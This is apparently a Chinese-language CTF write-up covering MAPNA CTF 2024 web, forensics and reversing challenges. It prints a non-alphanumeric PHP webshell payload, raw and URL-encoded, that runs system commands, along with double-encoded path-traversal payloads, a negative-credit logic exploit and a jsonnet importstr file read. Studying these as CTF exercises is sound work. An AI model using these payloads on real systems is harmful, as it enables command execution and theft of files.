参考自己之前写的博客:
挺典型的一道无字母数字webshell的题目,可以值得再研究下
测试后还有这些字符可以用
post方式传入payload:
code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /
用hackbar要url编码一下
code=%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B&_=system&__=ls /
陈年老payload也行,就是只能拿BP传
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /flag
一个国外的比赛,靠pwn师傅们带了以至没太惨。。。
不多解释,按着它的提示走就行
Referer: http://flagland.internal/
我们需要为“secret”设置一个值。我首先尝试传递 、 标头和带有名为密钥的 cookie,但这些似乎都不起作用。Secret
Authorization
Secret
因此,我尝试通过添加 GET 查询来传递它?secret=a
在原始 HTML 中有一个线索。所以,利用这个线索,我们将尝试?secret=http
所以再次请求它,但现在我们使用 get来指定 http 方法,所以我们换成FLAG的请求方式来请求它。Then, we get the flag!
平平无奇的页面
经过一番点击后,我们发现尝试访问“My Private Collection”中的内容会阻止我们并显示以下消息:
然后,还有“收费账户”功能,您可以在其中将余额转换为“单词余额”,这似乎是一个单词的 10 个余额积分。
Now, lets explore the source code.
从我们知道在应用程序的根目录中复制了一个flag.txt。Dockerfile
在stuff文件夹中,发现其中包含该站点的所有逻辑。stuff
main.py
查看 private 和 public 目录中的文本文件,我们发现是它是hardcoded flag的,但让我们先尝试访问它。A-Secret-Tale.txt
正如我们之前发现的那样,尝试阅读私人小说会得到一个信息,告诉我们不能这样做。检查一下代码:
@app.get('/api/read/')
def readNovel(name):
name = unquote(name)
if(not name.startswith('public/')):
return {'success': False, 'msg': 'You can only read public novels!'}, 400
buf = readFile(name).split(' ')
buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
return {'success': True, 'msg': buf}
存在一个路径遍历漏洞,可用于检索第一个标志。 仅检查路径名是否以“public”开头不足以防止路径遍历。那么像这样的有效载荷可能会起作用,我们现在只需要对其进行编码即可。public/../private/A-Secret-Tale.txt
使用url编码后。我们得到这个有效载荷:public%2F%2E%2E%2Fprivate%2FA%2DSecret%2DTale%2Etxt
为了触发路径遍历,需要对 进行双重编码: ../
public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt
使用payload我们收到了成功消息
ip/api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt
下一步是找出如何让我们得到flag。由于之前的dockerfile,根文件夹中有一个flag.txt。
因此,在对这个有效载荷进行双重编码后:public/../../flag.txt
ip/api/read/public%252F%252E%252E%252F%252E%252E%252Fflag%252Etxt
我认为我们必须在这里提交hardcoded flag。A-Secret-Tale.txt
在前面的挑战中,我们已经设置了一个目录遍历,我们必须读取私有文件中的第一个单词。但是我们不允许读取整个文件,因为我们没有足够的积分。
现在,让我们弄清楚如何获得一些积分。以下是添加积分的相关途径。
@app.post('/api/charge')
def buyWord():
nwords = request.args.get('nwords')
if(nwords):
nwords = int(nwords[:10])
price = nwords * 10
if(price <= session['credit']):
session['credit'] -= price
session['words_balance'] += nwords
return {'success': True, 'msg': 'Added to your account!'}
return {'success': False, 'msg': 'Not enough credit.'}, 402
else:
return {'success': False, 'msg': 'Missing parameteres.'}, 400
乍一看,这里唯一的检查是看价格是否低于信用。此外,没有对 nwords 进行验证。因此,我们可以将一个负数传递给它,它将以预期的方式运行。
从这个挑战的第一部分,另一件事是这个实现:
@app.get('/api/read/')
def readNovel(name):
name = unquote(name)
if(not name.startswith('public/')):
return {'success': False, 'msg': 'You can only read public novels!'}, 400
buf = readFile(name).split(' ')
buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
return {'success': True, 'msg': buf}
所以,将 -2 传递给 nwords,我们得到:
这将导致代码读取自 这意味着它将从文件的开头到结尾进行读取。
然后,使用目录遍历进行第一个质询。我们现在可以读取该文件了。
可以读取包含超过 11 个单词的 TXT 文件。事实上,通过将 words_balance 设置为 -1,可以读取 txt 文件的内容,直到其倒数第二个单词。
将words_balance值 -1 与前面的路径遍历方法相结合,可以检索到第二个标志。
/api/read/public/%252e%252e%252fprivate/A-Secret-Tale.txt
描述:
首先查看提供的源代码,我们可以从 github 看到一个经过编辑的 Go 库。
在服务器上导致一些错误,以尝试识别库:
Expected token OPERATOR but got "}"
Expected a comma before next field
参考了一篇小日子的文章:https://qiita.com/ktateish/items/c07d76fb268575f5a8dc#%E5%88%A5%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%86%85%E5%AE%B9%E3%82%92%E5%80%A4%E3%81%A8%E3%81%97%E3%81%A6%E8%AA%AD%E3%81%BF%E8%BE%BC%E3%82%80
这两个错误都指向 go-jsonnet 库,该库满足挑战描述中的星号要求。
我最终在存储库的“问题”部分中寻找读取文件的方法并找到此问题。
它提到了如下所示的有效负载,将生成一个标志。{"flag":importstr "/flag.txt"}
描述:
不多说,流量包硬翻就行
或者直接用strings命令查看,把各个部分拼接起来就行
描述:
参考又是一个小日子的博客:MAPNA CTF 2024 文章 - Hamayan Hamayan
让我们来看看字符串。year:month:day:hour:minute:second:millisecond
它看起来像一个型号,看起来它属于一家名为西门子的公司。
让我们看一下协议。似乎是TPKT。
如果从wireshark的右键中选择端口 10203 并将其设置为 TPKT,则会识别 S7COMM。
描述:
我们得到一个文本文件,其中包含许多标志。我们需要看看哪个被篡改了,所以第一反应是滚动浏览,看看是否有任何长度不同的。在vim 中按住 ctrl+d找到了
MAPNA{Tx,D51otN\eUf7qQ7>ToSYQ;5P6jTIHH#6TL+uv}
很好,又又参考小日子的博客
MapnaCTF 2023 Writeup - CTFするぞ (hatenablog.com)
所以解题就是编译给定的 C 代码并将代码执行以获取flag
直接只是 gcc file.c
-o file; ./file < file.c 就行,虽然各种报错还是莫名出来了
描述:
先查壳看看,64位ELF
使用 gdb ./Heaverse 用r命令运行 ,参见以下内容:
我们在 RBX 中看到莫尔斯电码,我们看到传入的莫尔斯电码是缓慢迭代的。因此,我们只需要打印出该位置的内存即可查看完整的字符串。在略高于我们的地址打印,我们得到:
x/s 0x7fffffffe210
直接莫斯解密即可
描述:
该程序只是打印“你的任务是找到旗帜!再努力一点!!”。 打印此字符串的函数位于 0x31c0。 字符串使用 XOR 密码进行编码。